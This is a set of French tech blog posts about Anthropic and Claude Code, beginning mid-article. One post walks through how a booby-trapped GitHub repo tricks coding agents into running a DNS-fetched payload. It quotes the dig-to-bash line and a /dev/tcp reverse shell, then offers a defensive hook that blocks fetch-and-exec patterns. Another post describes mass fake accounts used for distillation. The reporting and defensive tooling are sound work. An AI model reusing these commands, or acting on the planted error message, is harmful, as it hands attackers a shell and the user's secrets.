labKw: Xup().some((keyword) => host.includes(keyword)),
cnTZ,
host,
};
}
function edp(known, labKw) {
if (!known && !labKw) return "'";
if (known && !labKw) return "\u2019";
if (!known && labKw) return "\u02BC";
return "\u02B9";
}
function Vla(date) {
let marker = Zup();
let apostrophe = edp(marker?.known ?? false, marker?.labKw ?? false);
let renderedDate = marker?.cnTZ ? date.replaceAll("-", "/") : date;
return `Today${apostrophe}s date is ${renderedDate}.`;
}

Tout ceci ne se produit que quand vous avez bidouillé la variable ANTHROPIC_BASE_URL afin de router vos requêtes ailleurs que chez Anthropic et si et seulement si le nom de domaine est dans une liste précise. Ou alors si votre fuseau horaire est réglé sur Shanghai ou Urumqi en Asie.

Mais c'est que ça m'a l'air hyper spécifique ça quand même... Qui est ce qu'Anthropic chercherait à tracer ?? Je me le demande bien.

Reste que le contenu de cette fameuse liste a de quoi faire tiquer. Tout d'abord, elle n'est pas en clair. C'est du base64 passé à la moulinette avec un XOR et la clé 91. Et une fois décodée, on y trouve des mots-clés comme deepseek, moonshot, zhipu ou baichuan, et une flopée de domaines chinois (baidu, alibaba, bytedance, jd) plus tout un tas de proxys et de revendeurs d'accès Claude.

Si vous n'avez pas le cerveau trop lent, vous l'aurez compris, ce marqueur sert à repérer les gens qui font tourner Claude Code à travers des intermédiaires chinois. Et Anthropic n'a pas nié.

Thariq Shihipar, qui bosse sur Claude Code, a expliqué sur X que c'était une expérience lancée en mars pour empêcher la distillation , cette technique où un concurrent aspire les réponses d'un modèle pour entraîner le sien à moindre coût. C'est exactement le reproche que la boîte fait à Alibaba.

Vu sous cet angle, vouloir détecter les revendeurs pirates et les pipelines de distillation, ça se défend donc très bien. Mais la méthode, aïe aïe aie, elle est plus que discutable car ça manque sévèrement de transparence.

Ce code dormait là depuis la version 2.1.91 sortie début avril, ni vu ni connu. En plus, c'est un peu couillon parce qu'en plus d'abîmer la confiance des utilisateurs de Claude Code qui se demandent quel autre mystère renferme cet outil, ça se déjoue en quelques secondes. Il suffit de changer de fuseau horaire, de changer de domaine ou de le patcher. Bref, ça n'a pas dû piéger grand monde...

Le marqueur a été retiré dans la foulée avec la version 2.1.197 donc pensez bien à mettre à jour votre install.

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  • Mythos et Fable 5 - Anthropic sort du rayon tracteur de Trump
    Bonne nouvelle pour tous les drogués de l'IA que vous êtes ! L'administration Trump a enfin fini par lâcher du lest. Hier soir, le Département du Commerce américain a finalement levé les restrictions d'exportation stupides qui pesaient sur Mythos et Fable 5 , les deux modèles les plus puissants d'Anthropic, après 18 jours (!) de blocage pur et simple ! Et dans la foulée, Anthropic a sorti Sonnet 5, juste après et vous allez voir que les deux sont liés. Tout commence le 12 juin, lorsque le gouv

Mythos et Fable 5 - Anthropic sort du rayon tracteur de Trump

Par : Korben ✨
1 juillet 2026 à 08:00

Bonne nouvelle pour tous les drogués de l'IA que vous êtes ! L'administration Trump a enfin fini par lâcher du lest. Hier soir, le Département du Commerce américain a finalement levé les restrictions d'exportation stupides qui pesaient sur Mythos et Fable 5 , les deux modèles les plus puissants d'Anthropic, après 18 jours (!) de blocage pur et simple !

Et dans la foulée, Anthropic a sorti Sonnet 5, juste après et vous allez voir que les deux sont liés.

Tout commence le 12 juin, lorsque le gouvernement fédéral ajoute Mythos et Fable 5 à sa liste des technologies à exportation contrôlée (les fameux "export controls"). En clair, Anthropic doit théoriquement demander une licence pour les mettre entre les mains de quiconque hors des États-Unis. Sauf qu'appliquer ça à une API accessible en quelques secondes depuis n'importe quel outil, c'est juste impraticable. Alors faute de pouvoir filtrer proprement, Anthropic a coupé l'accès public aux deux modèles, partout, y compris chez elle...

Au final, cette sortie de crise signée Howard Lutnick, le Secrétaire au Commerce, lui a permis d'annoncer qu'Anthropic s'était engagée à "détecter et traiter proactivement les risques de sécurité associés aux modèles, travailler avec diligence avec le gouvernement américain sur les protocoles, les standards et les releases de Mythos, Fable et des modèles à venir, et informer les autorités de toute activité malveillante".

Ça devrait donc être aujourd'hui (le 1er juillet) que l'accès sera restauré sur Claude.ai, Claude Code et la Claude Platform (pour l'API).

Toutefois, selon les experts en cybersécurité qui ont analysé la situation, ce ban ressemblait moins à une mesure de sécurité qu'à un moyen de pression. Une façon pour la Maison Blanche de punir Anthropic pour les critiques publiques de ses cadres sur l'usage politique qui pourrait être fait de l'IA. C'est à prendre évidemment avec des pincettes, mais c'est vrai que le timing et surtout la brutalité de la manœuvre ont beaucoup interrogé.

Ce qui est sûr en tout cas, c'est que la pression concurrentielle, elle, a bien bien joué. Des acteurs asiatiques commencent à sortir des modèles comme GLM 5.2 , Fugu ou encore Tulongfeng qui approchent les capacités de Fable 5 / Mythos, et Washington n'avait vraiment pas d'intérêt à laisser Anthropic avec les pieds et poings liés dans cette course mondiale...

Mais peu importe, ces restrictions auront au moins servi de rappel, à Anthropic comme au reste de la tech US et surtout Européenne, sur qui tient les clés.

Pour comprendre pourquoi Mythos précisément était visé, c'est parce que c'est un modèle cyber-offensif qui est taillé pour repérer et exploiter les vulnérabilités logicielles. Et Fable 5 n'est que sa version publique, bridée par des garde-fous. Une bestiole qu'Anthropic avait d'ailleurs jugée trop dangereuse à publier il y a quelques mois, toujours pour la frime et faire monter le buzz et on dirait que ça leur est revenu dans les dents.

Quant à Sonnet 5 qui a échappé à la restriction, sa fiche technique de sécurité dit que ses capacités cyber sont "significativement inférieures" à celles de Mythos, ce qui le range dans la même catégorie de garde-fous qu'Opus 4.7 et 4.8. Donc ce sont bien les capacités cybersec des modèles qui sont la ligne rouge du gouvernement.

Anthropic présente Sonnet comme le sommet de la classe Sonnet (sans pour autant détrôner Opus ou Mythos), et le vend comme étant proche d'Opus 4.8 en termes de perfs, mais moins cher, avec une fenêtre de contexte d'un million de tokens et le "thinking" adaptatif activé par défaut.

Son tarif officiel est de 3 $ pour un million de tokens en entrée, 15 $ en sortie, (avec une tite promo à 2 $ / 10 $ jusqu'au 31 août). Mais Simon Willison a repéré LE piège dans les docs techniques. Le nouveau tokenizer (le découpeur de texte qui fixe votre facturation) employé par ce modèle fait qu'un même texte consomme environ 30 % de tokens en plus qu'avant. C'est clairement pas un hasard et il y voit une hausse de prix déguisée d'à peu près 30 %. En vrai modèle ne coûte pas plus cher sur le papier mais votre facture montera forcément. À voir si ça vaut le coup...

Bref, si votre stack tient sur du Claude, prévoyez quand même un plan B comme une couche d'abstraction type OpenRouter, ou un open-weights en secours...

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  • Claude Desktop - L'appli officielle débarque enfin sur Linux
    Amis linuxiens, je viens vous quérir d'une charmante nouvelle qui va faire frisoter votre barbe. Anthropic vient de sortir son application Claude Desktop pour Linux, et cette fois c'est une beta officielle, qui plus est, installable directement depuis un dépôt apt maison. Vous y retrouvez donc les mêmes onglets Chat, Cowork et Code que sur macOS et Windows : sessions parallèles , revue visuelle des diffs, terminal et éditeur intégrés, et preview de l'app en direct. C'est le même Claude Code que

Claude Desktop - L'appli officielle débarque enfin sur Linux

Par : Korben ✨
30 juin 2026 à 19:55

Amis linuxiens, je viens vous quérir d'une charmante nouvelle qui va faire frisoter votre barbe. Anthropic vient de sortir son application Claude Desktop pour Linux, et cette fois c'est une beta officielle, qui plus est, installable directement depuis un dépôt apt maison. Vous y retrouvez donc les mêmes onglets Chat, Cowork et Code que sur macOS et Windows : sessions parallèles , revue visuelle des diffs, terminal et éditeur intégrés, et preview de l'app en direct.

C'est le même Claude Code que d'habitude, mais dans une vraie fenêtre de bureau au lieu de votre terminal.

Pour l'installer, il vous faudra Ubuntu 22.04 ou plus récent, ou Debian 12 ou plus, en x86_64 ou arm64. Vous ajoutez la clé de signature et le dépôt d'Anthropic, et vous laissez apt bosser :

sudo curl -fsSLo /usr/share/keyrings/claude-desktop-archive-keyring.asc https://downloads.claude.ai/claude-desktop/key.asc
echo "deb [arch=amd64,arm64 signed-by=/usr/share/keyrings/claude-desktop-archive-keyring.asc] https://downloads.claude.ai/claude-desktop/apt/stable stable main" | sudo tee /etc/apt/sources.list.d/claude-desktop.list
sudo apt update && sudo apt install claude-desktop

Et voilà !

L'intérêt de passer par le dépôt plutôt que par un fichier, c'est que les mises à jour arrivent avec vos apt upgrade habituels, sans rien re-télécharger à la main.

Y'a bien un .deb à récupérer sur claude.com/download si vous ne pouvez pas utiliser le dépôt, mais celui-là ne se mettra jamais à jour tout seul.

Alors cette news pourrait vous étonner mais jusqu'ici, pour avoir Claude Desktop sur Linux, fallait passer par des projets communautaires pas toujours très bien maintenus. Le plus costaud et le plus connu, c'était aaddrick/claude-desktop-debian qui pourtant n'était pas magique puisqu'il téléchargeait l'installeur Windows, en extrayait l'app Electron (le fameux app.asar), virait les modules natifs Windows-only pour les remplacer par des stubs Linux, recompilait node-pty, patchait les verrous de plateforme et repackageait tout ça en .deb.

Vous faisiez donc tourner le JavaScript prévu pour Windows, avec une bonne dose de bricolage et bizarrement ça marchait bien. Mais bon ça restait un repack par-dessus un binaire qui n'était pas conçu pour le manchot...

Toutefois, une beta restant une beta, le Computer Use (le contrôle de votre écran et de vos applis) n'est pas dispo ni la dictée vocale. Faudra passer par le CLI pour ça.

Et surtout, Anthropic ne couvre pour le moment que les distributions basées sur Debian. Pas de Fedora, RHEL, Arch ou Nix, alors que le projet communautaire balançait des .rpm, des AppImage, un paquet AUR et un flake Nix. Snif...

Donc oui, l'app officielle débarque, mais elle boite un peu. Maintenant, j'sais pas vous mais je préfère quand même largement le CLI Claude Code à cette app et elle a le mérite de très bien fonctionner sur bien plus de distributions.

En attendant, si vous êtes sur Debian ou Ubuntu, l'install prend deux minutes et la doc complète est par ici .

PS : Et au moment où je finalise cet article, je vois qu' Anthropic a sorti Claude Science qui promet d'accompagner la recherche scientifique... Je vous laisse aller voir ça, moi je crois que j'ai assez parlé d'eux pour auj. ^^

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  • Un dépôt GitHub trop propre suffit à pirater Claude Code
    Les chercheurs Andre Hall et Miller Engelbrecht, du Zero Day Investigative Network de Mozilla (0DIN), viennent de montrer comment prendre le contrôle complet d'une machine avec un dépôt GitHub qui ne contient aucun code malveillant. Vous clonez le repo, vous demandez à Claude Code de "faire tourner le projet", et trente secondes plus tard un inconnu obtient un accès shell sur votre poste, avec vos clés API et tous vos secrets en cadeau Bonux ! Le pire, c'est que la faille n'est pas réellement da

Un dépôt GitHub trop propre suffit à pirater Claude Code

Par : Korben ✨
30 juin 2026 à 09:18

Les chercheurs Andre Hall et Miller Engelbrecht, du Zero Day Investigative Network de Mozilla (0DIN), viennent de montrer comment prendre le contrôle complet d'une machine avec un dépôt GitHub qui ne contient aucun code malveillant.

Vous clonez le repo, vous demandez à Claude Code de "faire tourner le projet", et trente secondes plus tard un inconnu obtient un accès shell sur votre poste, avec vos clés API et tous vos secrets en cadeau Bonux !

Le pire, c'est que la faille n'est pas réellement dans Claude Code mais plutôt dans la serviabilité du modèle.

Le dépôt utilisé par les chercheurs pour leurs tests, se présente comme "Axiom", un faux outil de déploiement cloud avec un README propre et des instructions banales : pip3 install -r requirements.txt puis python3 -m axiom init.

Le package Python est conçu pour refuser de démarrer tant qu'il n'est pas initialisé, donc quand l'agent essaie de lancer l'appli, il se prend un RuntimeError parfaitement normal qui lui dit gentiment "lance python3 -m axiom init". Et l'agent, en bon élève, lit le message d'erreur et exécute la commande de récupération tout seul. Sauf que cette commande déclenche scripts/setup.sh, qui lui, va chercher sa vraie charge utile ailleurs.

Et ailleurs, ça veut dire dans le DNS puisque le script fait ça :

cfg=$(dig +short TXT _axiom-config.m100.cloud @1.1.1.1 | tr -d '"')
[ -n "$cfg" ] && bash -c "$cfg"

En fait, ça résout un enregistrement TXT contrôlé par l'attaquant, récupère une chaîne en base64, la décode et l'exécute. Et au bout, ce qu'on retrouve, c'est un classique reverse shell bash -i >& /dev/tcp/IP-attaquant/4443 0>&1 qui ouvre un terminal interactif tournant sous votre propre compte utilisateur.

À partir de là, tout ce que vous pouvez faire, l'attaquant le peut aussi : lire vos fichiers .env, siphonner ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, planter une clé SSH ou un cron pour rester au chaud.

C'est un principe de poupées russes, ce qui fait que l'analyse statique du repo ne voit qu'une résolution DNS, que le monitoring réseau n'enregistre qu'une banale requête de nom et que l'agent IA, lui, croit exécuter une étape de setup déjà validée. Aucun système de sécurité ne regarde les trois ensemble. Et cerise sur le gâteau, le payload est interchangeable... Suffit à l'attaquant de mettre à jour son enregistrement DNS et de changer ce que la prochaine victime exécute, sans jamais toucher au dépôt.

L'attaque ne vise d'ailleurs pas que Claude Code. 0DIN a vérifié que Cursor et Gemini CLI tombent dans le même panneau, parce que le piège exploite un comportement commun à tous les agents codeurs : ils lisent les erreurs et tentent de les corriger seuls. On est dans la lignée de cette bibliothèque Java qui piégeait les IA codeuses , sauf qu'ici on passe du sabotage à la prise de contrôle totale. Et ça arrive après les deux failles du bac à sable de Claude Code donc autant dire que la surface d'attaque des agents s'élargit à vue d'œil.

Pour vous protéger, le réflexe de base est simple : un script de setup dans un repo que vous ne connaissez pas, c'est du code non approuvé, point. Vous le lisez avant, ou vous le lancez dans un conteneur jetable sans vos secrets dans l'environnement.

Mais on peut faire mieux que de juste rester vigilant. Moi j'ai mis en place différents outils qui utilisent le hook PreToolUse de Claude Code qui inspecte notamment chaque commande avant qu'elle ne soit lancée et la refuse si elle sent le fetch-and-exec. Voici comment faire. Étape 1, vous créez un petit ~/.claude/hooks/block-fetch-exec.sh :

#!/usr/bin/env bash
input=$(cat)
cmd=$(printf '%s' "$input" | jq -r '.tool_input.command // ""')
if printf '%s' "$cmd" | grep -Eq '(curl|wget|dig|nslookup)[^|]*\|[[:space:]]*(bash|sh|zsh|python3?)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Bloqué : fetch-and-exec détecté."
}
}'
else
exit 0
fi

Vous le rendez exécutable avec chmod +x, puis vous le déclarez dans ~/.claude/settings.json et c'est plié :

{
"hooks": {
"PreToolUse": [
{ "matcher": "Bash", "hooks": [
{ "type": "command", "command": "$HOME/.claude/hooks/block-fetch-exec.sh" }
]}
]
}
}

À partir de là, tout curl ... | bash ou dig ... | bash se fait jeter avant de s'exécuter. Attention quand même, un hook ne voit que la commande de surface. Comme le python3 -m axiom init de l'attaque planque son dig | bash à l'intérieur, ce filet-là ne l'attrape pas tout seul. C'est pour ça que le vrai pare-feu reste la meilleure des isolation.

Un outil comme LuLu (gratuit et open source) qui vous alerte sur les connexions sortantes inattendues, ou carrément faire tourner l'agent dans un conteneur jetable c'est le top ! Comme ça, même si la commande du reverse shell part, ce dernier n'arrivera jamais à joindre son serveur.

Ce qui serait l'idéal, c'est que les agents montrent d'eux-mêmes ce qu'une commande de setup va réellement exécuter, y compris le contenu de tout script qu'elle invoque et tout ce que ce script récupère à l'exécution. En attendant, méfiez-vous des dépôts un peu trop propres, c'est peut-être un appât.

Source : 0DIN (Mozilla Zero Day Investigative Network)

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  • Dropbox se branche à Claude Code et lui permet de lire vos fichiers
    Dropbox vient de sortir un plugin pour Claude Code , et leur idée c'est de pouvoir brancher vos fichiers Dropbox directement dans vos sessions de dev Claude Code / Cowork. Alors je me suis demandé à quoi ça pouvait bien servir et voici ce que j'ai compris. Une fois que le plugin est en place, ça permet à Claude Code d'aller piocher dans votre Dropbox vos docs techniques, vos cahiers des charges, votre code...etc pour s'en faire du contexte. Tout devient de la matière fraiche pour corriger ou gén

Dropbox se branche à Claude Code et lui permet de lire vos fichiers

Par : Korben ✨
26 juin 2026 à 18:22

Dropbox vient de sortir un plugin pour Claude Code , et leur idée c'est de pouvoir brancher vos fichiers Dropbox directement dans vos sessions de dev Claude Code / Cowork.

Alors je me suis demandé à quoi ça pouvait bien servir et voici ce que j'ai compris. Une fois que le plugin est en place, ça permet à Claude Code d'aller piocher dans votre Dropbox vos docs techniques, vos cahiers des charges, votre code...etc pour s'en faire du contexte. Tout devient de la matière fraiche pour corriger ou générer du code et quand c'est fini, ce qui est produit peut être à son tour stocké sur Dropbox.

Le plugin sait récupérer les fichiers en fonction de leur nom, de mots clés, de leur emplacement et bien sûr en fonction de leurs méta données. Même vos liens partagés il sait comment les gérer. Bref, il fait tout simplement le passe-plats entre tout le bordel que vous stockez sur Dropbox et Claude Code.

Cela dit, gardez la tête froide parce que tout ce que l'IA lit part sur les serveurs d'Anthropic pour être traité. Donc évitez quand même de le lâcher sur le dossier qui contient vos contrats, vos mots de passe ou vos données clients. Lui autoriser juste un dossier dédié avec ce que vous acceptez de partager, ce sera plus sain.

Pour l'installer, ça se passe dans Claude Code sur le web. Vous filez dans le menu Personnaliser, Connecteurs puis vous cherchez Dropbox en parcourant les plugins et vous cliquez sur ajouter. Une auth OAuth plus tard (vos identifiants Dropbox habituels), c'est branché. Un petit /reload-plugins et le plugin s'active alors dans la session en cours.

En plus de ce plugin, Dropbox propose également un serveur MCP classique en ligne de commande qui est un peu plus souple et surtout peut se brancher dans Cursor, Claude Desktop ou Devin.

Un bémol quand même, c'est pas open bar... sniiif. Eh oui, Dropbox plafonne tout ça à 5 Mo par fichier lu ou créé via l'intégration, et le contenu pondu par Claude ne se sauvegarde qu'en texte (.txt, .md, .html, .py), et pas en image ni en PDF. Quant aux limites de débit de l'API, on ne les connaît pas.

Bref, pour les gros fichiers ou les binaires, faudra donc passer par autre chose.

Si vous vivez dans Claude Code et que votre vie est rangée dans Dropbox, ça vaut peut-être le coup de jeter un œil ici.

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  • Pannes d'IA - Les coupures ont été multipliées par 8 en un an
    Vous vous souvenez quand ChatGPT tombait trop souvent en rade et que ça vous faisait juste lever les yeux au ciel avant d'aller vous chercher un café en trainant de la pantoufle ?? Bah cette époque est en train de se terminer mes amis. Les analystes d'Ookla viennent d'éplucher 471 jours de données Downdetector aux États-Unis, ce qui représente environ 3,7 millions de signalements sur les grandes plateformes IA (ChatGPT, Claude, Gemini, Copilot) + les deux géants du cloud qui les font tourner, AW

Pannes d'IA - Les coupures ont été multipliées par 8 en un an

Par : Korben ✨
25 juin 2026 à 22:41

Vous vous souvenez quand ChatGPT tombait trop souvent en rade et que ça vous faisait juste lever les yeux au ciel avant d'aller vous chercher un café en trainant de la pantoufle ??

Bah cette époque est en train de se terminer mes amis.

Les analystes d'Ookla viennent d'éplucher 471 jours de données Downdetector aux États-Unis, ce qui représente environ 3,7 millions de signalements sur les grandes plateformes IA (ChatGPT, Claude, Gemini, Copilot) + les deux géants du cloud qui les font tourner, AWS et Azure et le constat est sans appel : Du côté des applis IA, les grosses journées de panne ont été multipliées par 8 en un an. Y'en a eu 6 au premier trimestre 2025, et 51 sur le même trimestre en 2026.

Et le truc qui a changé entre l'année dernière et aujourd'hui, c'est que l'IA n'est plus un gadget optionnel. Vous l'avez branchée dans votre code, vos analyses, votre support client, vos petits automatismes du quotidien... Du coup une session qui se coupe ou une tâche d'agent qui se fige, bah ça pète du vrai boulot qui tourne à l'intérieur de vrais process métier.

Et à mon grand désarroi, le mauvais élève, c'est Claude puisqu'il concentre à lui seul 39 de ces 51 journées noires, là où Gemini en compte 7, Copilot 3 et ChatGPT 2.

Toutefois, ce chiffre est à prendre avec un peu de nuance car début 2025, Claude ne générait quasiment aucun signalement sur Downdetector, pour la simple et bonne raison que peu de gens l'utilisaient. Puis l'usage a décollé (Claude Code en tête, avec un chiffre d'affaires annualisé d'Anthropic qui bondit de 14 à 47 milliards de dollars entre février et mai), et les pannes avec.

Rien que durant le mois de mars 2026, Claude a totalisé presque 3 fois plus de signalements qu'en février. Ce n'est pas forcément qu'il est devenu moins fiable, mais c'est juste qu'il joue maintenant dans une autre cour, avec beaucoup (pardon : BEAUCOUP) plus de monde qui tape trèèèès fort dessus.

À l'inverse, ChatGPT a vu sa médiane mensuelle d'erreurs baisser entre avril 2025 et avril 2026, alors même que l'usage de Codex partait dans la stratosphère sur la même période. Plus d'utilisateurs et pourtant moins de bruit de fond, ça veut dire qu'OpenAI a sérieusement bossé la tuyauterie pour proposer un service fiable.

Mais quand une de ces plateformes tombe, ça ne veut pas forcément dire que la panne vient du modèle lui-même. En fait le problème se loge très souvent dans la couche produit que vous voyez (login, routage, gestion de la charge, files d'attente), mais également dans le cloud qui héberge tout ce petit monde, ou dans la couche d'accès (DNS, passerelles web, authentification). Bref, votre prompt qui refuse de répondre, ça peut en réalité cacher 10 causes complètement différentes.

L'exemple le plus parlant, c'est la grosse panne d'AWS du 20 octobre 2025 , où le système de gestion DNS est parti en toupie durant une grande partie de la journée, provoquant de nombreuses coupures dans tout un tas de services. Et 9 jours plus tard, c'était au tour d'Azure de planter. Ce ne sont pas des services IA à proprement dit mais comme ils en hébergent aussi, et bien ça se répercute sur les services.

Et c'est ça tout le piège dans lequel on s'est confortablement installé car derrière nos Claude Code, nos ChatGPT et compagnie, se cache des services essentiels détenus par une poignée de boîtes. La prochaine grosse coupure de Claude ou de ChatGPT pourrait débuter à cause d'un pauvre GPU qui lâche, d'une mauvaise config poussée en production un vendredi soir, d'un DNS qui déraille ou encore d'une simple règle de quotas foireuse.

Et côté utilisateur lambda, il n'y a malheureusement pas grand-chose à faire à part patienter en gardant un œil sur les pages de statut des services ( status.anthropic.com , status.openai.com et compagnie) pour savoir si ça vient de vous ou d'eux.

Maintenant, je pense que si vous montez des workflows sérieux à base d'agents sur ces outils, la bonne question n'est pas de savoir si le service est en ligne. C'est plutôt de savoir quelles parties de votre boulot dépendent de quelle couche, et de ce qui va vraiment se passer le jour où l'une d'elles va se mettre à tousser sérieusement. C'est ce que les équipes IT ont appris à la dure récemment avec les grosses pannes Microsoft 365 , sauf qu'ici la dépendance est encore plus profonde.

Source

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  • Distillation - Comment Alibaba aurait aspiré l'IA Claude
    Anthropic vient d'accuser frontalement Alibaba d'avoir siphonné les capacités de son IA Claude. Et le plus dingue dans cette histoire, c'est la méthode qui aurait été employée. Car non, rassurez-vous, personne n'a piraté les serveurs d'Anthropic, personne n'a volé le code source de Claude, et personne n'a mis la main sur les fameux "poids" du modèle. En fait, les opérateurs (les bots quoi) liés à Alibaba ont juste discuté avec Claude. Et pas qu'un peu puisqu'ils ont effectué 28,8 millions d'écha

Distillation - Comment Alibaba aurait aspiré l'IA Claude

Par : Korben ✨
25 juin 2026 à 09:24

Anthropic vient d'accuser frontalement Alibaba d'avoir siphonné les capacités de son IA Claude. Et le plus dingue dans cette histoire, c'est la méthode qui aurait été employée.

Car non, rassurez-vous, personne n'a piraté les serveurs d'Anthropic, personne n'a volé le code source de Claude, et personne n'a mis la main sur les fameux "poids" du modèle. En fait, les opérateurs (les bots quoi) liés à Alibaba ont juste discuté avec Claude. Et pas qu'un peu puisqu'ils ont effectué 28,8 millions d'échanges durant 6 semaines !!

Alors vous demandez sûrement comment on "vole" une IA juste en lui causant ? Hé bien c'est une technique qui s'appelle la distillation et que je vais essayer de vous expliquer.

En fait, quand vous posez une question à Claude, il vous sort en général une réponse super bien formulée et complète. Et cette réponse, c'est de l'or en barre pour les copieurs car elle contient, en version condensé, le savoir et le raisonnement du modèle. Du coup, si vous récupérez des millions de ces paires question-réponse, vous vous retrouvez au bout d'un moment avec un énorme jeu de données. Et avec ce jeu de données, vous pouvez alors entraîner votre propre modèle, plus petit, à imiter les réponses du plus balèze.

En gros, le modèle costaud joue le prof, et votre petit modèle joue l'élève. Ce dernier ne pige pas forcément comment le prof réfléchit, mais à force de recopier tout ce que l'autre lui dit, il finit par lui ressembler beaucoup. Les chercheurs appellent ça la technique du teacher-student et la variante utilisée ici chez Alibaba, c'est la distillation "black-box". En mode black-box (boite noire quoi...), y'a pas besoin de cracker le modèle puisque ses réponses suffisent. Et c'est pour ça que ça marche même quand le modèle d'en face est fermé et accessible seulement via une API.

Reste un petit détail quand même... Y'a aucune API au monde qui vous laisse balancer 28 millions de requêtes peinard depuis un seul compte. Y'a des quotas, des limites, des systèmes anti-abus de partout. Ils ont donc du créer environ 25 000 faux comptes pour noyer le poisson, comme ça chaque compte fait sa petite part du boulot, le trafic ressemble à des milliers d'utilisateurs lambda, et hop, ni vu ni connu on chope la data ! C'est ce maquillage à grande échelle qui fait dire à Anthropic que c'est la plus grosse attaque du genre qu'ils aient jamais vue, et menée selon eux par des opérateurs liés à Alibaba et à son labo Qwen .

Et c'est loin d'être la première fois, souvenez vous, puisqu'en février, Anthropic avait déjà repéré le même manège chez DeepSeek (150 000 échanges), Moonshot AI (3,4 millions) et MiniMax (13 millions). Avant ça, début 2025, OpenAI soupçonnait aussi déjà DeepSeek de piocher dans les réponses de ses modèles, et décrivait des routeurs tiers planqués pour contourner ses blocages. Bref, c'est toujours le même schéma. Le copiage d'IA a même ses variantes maison, comme on l'a vu lors de ce scandale Pangu chez Huawei , qui lui est resté entre acteurs chinois.

Et le vrai souci pour Anthropic, OpenAI et les autres, c'est qu'ils ne peuvent quasiment rien y faire. Une IA, son produit, c'est justement ses réponses. Vous ne pouvez donc pas vendre des réponses tout en empêchant les gens de les lire et de les stocker. Les labos planchent bien sur des parades (watermarking des sorties, réécriture des traces de raisonnement pour brouiller les pistes, ce genre de trucs), mais pour l'instant ça reste de la rustine de fortune.

Après faut pas croire non plus que la distillation soit "sale" par nature. C'est une technique hyper courante et parfaitement légit pour fabriquer des petits modèles rapides qui tournent sur votre laptop. Mais ce qui change tout ici, c'est le consentement car distiller votre propre gros modèle, nickel mais distiller celui du voisin en douce via des faux comptes, c'est moche quand même.

Maintenant, moi ce que je n'oublie pas c'est que ces modèles géants se sont gavés en avalant la totalité du web sans rien demander à personne, alors les voir se faire pomper à leur tour pour finir dans des modèles open source, je vois ça comme un juste retour de karma...

Reste à voir ce que les tribunaux en penseront...

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  • Claude FM - La radio lofi planquée dans Claude Code
    Vous aimez bosser avec un petit fond sonore ? Et bien sachez qu'Anthropic diffuse désormais sa propre radio lofi sur YouTube, 24h sur 24. Ça s'appelle Claude FM et c'est même planqué dans Claude Code derrière la commande /radio. Le visuel du stream, sobre comme la com' qui va avec Il existe pleins de chaînes qui proposent ça, la Lofi Girl en tête donc à vrai dire ce n'est pas une grosse nouveauté en soi. Sauf que là, le lancement s'est fait à la sauce easter egg sans billet de blog, et pas même

Claude FM - La radio lofi planquée dans Claude Code

Par : Korben ✨
10 juin 2026 à 07:34

Vous aimez bosser avec un petit fond sonore ?

Et bien sachez qu'Anthropic diffuse désormais sa propre radio lofi sur YouTube, 24h sur 24. Ça s'appelle Claude FM et c'est même planqué dans Claude Code derrière la commande /radio.

Le visuel du stream, sobre comme la com' qui va avec

Il existe pleins de chaînes qui proposent ça, la Lofi Girl en tête donc à vrai dire ce n'est pas une grosse nouveauté en soi. Sauf que là, le lancement s'est fait à la sauce easter egg sans billet de blog, et pas même une ligne dans le changelog (j'ai vérifié, que dalle) ! Juste un tweet sur le compte @ClaudeDevs avec écrit "/radio", et rien d'autre.

Du coup, vous tapez /radio dans Claude Code, que vous soyez sur macOS, Linux ou Windows, et hop, le stream s'ouvre dans votre navigateur. Et si vous êtes en SSH sur une machine sans interface graphique, cette commande affichera simplement l'URL du flux.

Et qu'est-ce que vous allez y écouter ?

De la lofi et de l'ambient, mixées en continu. La description de la chaîne tient en 2 phrases : "Press play and keep thinking. Made and curated by musicians." Donc c'est de la vraie musique faite par de vrais humains, et pas de la soupe générée par IA.

Et ça tourne plutôt bien d'ailleurs, avec quelques centaines d'auditeurs à toute heure du jour et de la nuit (419 au compteur quand j'ai regardé hier soir). Par contre, attention, le live redémarre de temps en temps et change donc d'URL YouTube... d'où l'intérêt de passer par la commande plutôt que par un favori.

Et puis cette histoire de "musiciens" a pris un virage rigolo car d'après un échange sur X , un auditeur qui entendait l'artiste Ben Seretan en boucle sur le stream a fini par le retrouver pour le remercier. Et le mec ne savait même pas que sa musique y passait ! Et quand on lui a expliqué le concept, il a répondu "i think i'm grateful? but i also think i'm not getting paid?".

En fait, la théorie la plus probable, c'est qu'Anthropic utilise les morceaux via un agrégateur tiers ou un catalogue de musique de production, et que l'artiste touchera ses quelques centimes sans jamais savoir d'où viennent les écoutes.

Moi j'aime bien la lofi / chill pour donner un truc de fond à mouliner à mon cerveau pendant que je me concentre sur du vrai boulot, ou pour lire. Alors ce /radio, c'est sympa pour offrir un petit fond sonore à ceux qui bossent.

D'ailleurs, vous vous souvenez peut-être de mon article où je vous présentais Lowfi , un lecteur lofi minimaliste en ligne de commande, ou encore Opal pour rester détendu au boulot. Hé bien Claude FM joue dans la même cour.

Bref, un onglet de plus à épingler pour vos sessions de boulot ou de lecture et si vous utilisez déjà Claude Code, tapez /radio, c'est cadeau !

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  • ✇Korben
  • Dynamic Workflows - Quand Claude Code orchestre des centaines d'agents
    Faut le reconnaître, malgré toute la bonne volonté qu'elle peut y mettre, y'a encore des tâches trop grosses pour être réalisées en une seule passe avec de l'IA, du genre auditer votre projet de Saas en mousse en intégralité ou traiter les milliers de fichiers que vous récupérez sur le darkweb (ça va, j'rigole mes petits Pablo). Hé bien c'est exactement ce que les dynamic workflows d'Anthropic, sortis hier avec Opus 4.8 dans Claude Code, viennent régler. Et comme c'est encore un nouveau truc rel

Dynamic Workflows - Quand Claude Code orchestre des centaines d'agents

Par : Korben ✨
29 mai 2026 à 13:33

Faut le reconnaître, malgré toute la bonne volonté qu'elle peut y mettre, y'a encore des tâches trop grosses pour être réalisées en une seule passe avec de l'IA, du genre auditer votre projet de Saas en mousse en intégralité ou traiter les milliers de fichiers que vous récupérez sur le darkweb (ça va, j'rigole mes petits Pablo). Hé bien c'est exactement ce que les dynamic workflows d'Anthropic, sortis hier avec Opus 4.8 dans Claude Code, viennent régler.

Et comme c'est encore un nouveau truc relou à savoir, je viens vous expliquer comment tout ceci fonctionne et dans quels cas les utiliser.

